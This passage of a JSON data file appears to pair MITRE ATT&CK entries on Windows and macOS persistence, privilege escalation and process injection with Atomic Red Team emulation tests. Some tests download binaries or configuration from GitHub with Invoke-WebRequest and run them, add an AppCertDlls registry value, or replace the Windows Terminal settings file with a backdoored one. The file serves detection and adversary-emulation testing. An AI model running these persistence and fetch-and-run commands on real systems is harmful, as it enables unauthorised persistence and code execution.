- "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
- },
- {
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
- "source_name": "Malware Archaeology PowerShell Cheat Sheet"
- }
- ],
- "modified": "2020-01-24T15:11:53.430Z",
- "name": "PowerShell Profile",
- "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1
) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile
flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Locations where profile.ps1
can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1
\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1
\n* $Home\\My Documents\\PowerShell\\Profile.ps1
\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1
\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1055.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
- "type": "attack-pattern",
- "created": "2020-01-14T01:29:43.786Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.004",
- "url": "https://attack.mitre.org/techniques/T1055/004"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
- "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
- "source_name": "Microsoft APC"
- },
- {
- "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
- "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
- "source_name": "CyberBit Early Bird Apr 2018"
- },
- {
- "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
- "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
- "source_name": "ENSIL AtomBombing Oct 2016"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
- "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
- "source_name": "Microsoft Atom Table"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:23:46.476Z",
- "name": "Process Injection: Asynchronous Procedure Call",
- "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread
. At this point QueueUserAPC
can be used to invoke a function (such as LoadLibrayA
pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread
/SetThreadContext
/ResumeThread
, QueueUserAPC
/NtQueueApcThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Modification",
- "Process: OS API Execution",
- "Process: Process Access"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "identifier": "T1055.004"
- },
- "atomic_tests": [
- {
- "name": "Process Injection via C#",
- "auto_generated_guid": "611b39b7-e243-4c81-87a4-7145a90358b1",
- "description": "Process Injection using C#\nreference: https://github.com/pwndizzle/c-sharp-memory-injection\nExcercises Five Techniques\n1. Process injection\n2. ApcInjectionAnyProcess\n3. ApcInjectionNewProcess\n4. IatInjection\n5. ThreadHijack\nUpon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_binary": {
- "description": "Output Binary",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1055.004\\bin\\T1055.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{exe_binary} must be exist on system.\n",
- "prereq_command": "if (Test-Path #{exe_binary}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe\" -OutFile \"#{exe_binary}\"\n"
- }
- ],
- "executor": {
- "command": "#{exe_binary}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1138": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1138",
- "url": "https://attack.mitre.org/techniques/T1138"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
- "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
- "source_name": "Black Hat 2015 App Shim"
- }
- ],
- "modified": "2020-11-10T18:29:30.362Z",
- "name": "Application Shimming",
- "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb
\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb
\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom
\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom
\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
- "type": "attack-pattern",
- "created": "2020-01-24T14:47:41.795Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.009",
- "url": "https://attack.mitre.org/techniques/T1546/009"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
- "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
- "source_name": "Sysinternals AppCertDlls Oct 2007"
- }
- ],
- "modified": "2020-11-10T18:29:31.052Z",
- "name": "Event Triggered Execution: AppCert DLLs",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs
Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\
are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess
, CreateProcessAsUser
, CreateProcessWithLoginW
, CreateProcessWithTokenW
, or WinExec
. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.009"
- },
- "atomic_tests": [
- {
- "name": "Create registry persistence via AppCert DLL",
- "auto_generated_guid": "a5ad6104-5bab-4c43-b295-b4c44c7c6b05",
- "description": "Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "path of dll to use",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll"
- },
- "reboot": {
- "description": "Set value to $true if you want to automatically reboot the machine",
- "type": "string",
- "default": "$false"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"#{dll_path}\"\n"
- }
- ],
- "executor": {
- "command": "Copy-Item #{dll_path} C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n",
- "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /f\nRemove-Item C:\\Users\\Public\\AtomicTest.dll -Force\nRemove-Item C:\\Users\\Public\\AtomicTest.txt -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1055.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
- "type": "attack-pattern",
- "created": "2020-01-14T01:27:31.344Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.002",
- "url": "https://attack.mitre.org/techniques/T1055/002"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:21:11.178Z",
- "name": "Portable Executable Injection",
- "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx
and WriteProcessMemory
, then invoked with CreateRemoteThread
or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Access",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1547.015": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
- "type": "attack-pattern",
- "created": "2021-10-05T21:26:15.081Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.015",
- "url": "https://attack.mitre.org/techniques/T1547/015"
- },
- {
- "source_name": "Open Login Items Apple",
- "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac",
- "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
- "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
- "source_name": "Adding Login Items"
- },
- {
- "source_name": "SMLoginItemSetEnabled Schroeder 2013",
- "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/",
- "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021."
- },
- {
- "source_name": "Launch Services Apple Developer",
- "url": "https://developer.apple.com/documentation/coreservices/launch_services",
- "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021."
- },
- {
- "source_name": "ELC Running at startup",
- "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/",
- "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021."
- },
- {
- "source_name": "Login Items AE",
- "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788",
- "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021."
- },
- {
- "source_name": "Startup Items Eclectic",
- "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/",
- "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."
- },
- {
- "source_name": "hexed osx.dok analysis 2019",
- "url": "http://www.hexed.in/2019/07/osxdok-analysis.html",
- "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."
- },
- {
- "source_name": "Add List Remove Login Items Apple Script",
- "url": "https://gist.github.com/kaloprominat/6111584",
- "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021."
- },
- {
- "url": "https://objective-see.com/blog/blog_0x25.html",
- "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
- "source_name": "objsee mac malware 2017"
- },
- {
- "source_name": "CheckPoint Dok",
- "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/",
- "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."
- },
- {
- "source_name": "objsee netwire backdoor 2019",
- "url": "https://objective-see.com/blog/blog_0x44.html",
- "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021."
- },
- {
- "source_name": "objsee block blocking login items",
- "url": "https://objective-see.com/blog/blog_0x31.html",
- "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- },
- {
- "source_name": "Launch Service Keys Developer Apple",
- "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1",
- "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021."
- }
- ],
- "modified": "2021-10-18T16:36:37.042Z",
- "name": "Boot or Logon Autostart Execution: Login Items",
- "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled
.\n\nLogin items installed using the Service Management Framework leverage launchd
, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable
.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems
within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1547.015"
- },
- "atomic_tests": [
- {
- "name": "Persistence by modifying Windows Terminal profile",
- "auto_generated_guid": "ec5d76ef-82fe-48da-b931-bdb25a62bc65",
- "description": "Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "calculator": {
- "description": "Test program used to imitate a maliciously called program.",
- "type": "string",
- "default": "calculator.exe"
- },
- "settings_json_def": {
- "description": "Default file for Windows Terminal to replace the default profile with a backdoor to call another program.",
- "type": "path",
- "default": "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json"
- },
- "settings_json_tmp": {
- "description": "Temp file for Windows Terminal.",
- "type": "path",
- "default": "~\\AppData\\Local\\Temp\\settings.json"
- },
- "wt_exe": {
- "description": "Windows Terminal executable.",
- "type": "path",
- "default": "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Windows Terminal must be installed\n",
- "prereq_command": "if (Test-Path #{wt_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$(rm ~\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\StoreEdgeFD\\installed.db -ErrorAction Ignore; Write-Output \"\"; $?) -and $(winget install --id=Microsoft.WindowsTerminal)\n"
- }
- ],
- "executor": {
- "command": "mv #{settings_json_def} #{settings_json_tmp}\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\" -OutFile \"#{settings_json_def}\"\nwt.exe\n",
- "cleanup_command": "mv -Force #{settings_json_tmp} #{settings_json_def}\ntaskkill /F /IM \"#{calculator}\" > $null\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1134.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
- "type": "attack-pattern",
- "created": "2020-02-18T16:39:06.289Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.001",
- "url": "https://attack.mitre.org/techniques/T1134/001"
- },
- {
